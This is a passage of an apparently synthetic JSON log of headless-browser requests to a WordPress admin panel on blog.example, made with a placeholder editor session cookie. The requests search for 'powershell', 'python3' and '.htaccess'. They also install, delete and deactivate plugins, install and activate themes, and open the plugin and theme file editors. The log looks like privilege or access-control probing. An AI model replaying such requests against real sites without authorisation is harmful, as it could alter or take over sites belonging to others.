wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=docker-helper&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=powershell-tools&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=powershell-tools%2Fpowershell-tools.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-config-file-editor&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=wp-config-file-editor%2Fwp-config-file-editor.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=wp-config-file-editor%2Fwp-config-file-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=wp-config-file-editor&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=python3-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?theme=powershell-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""}
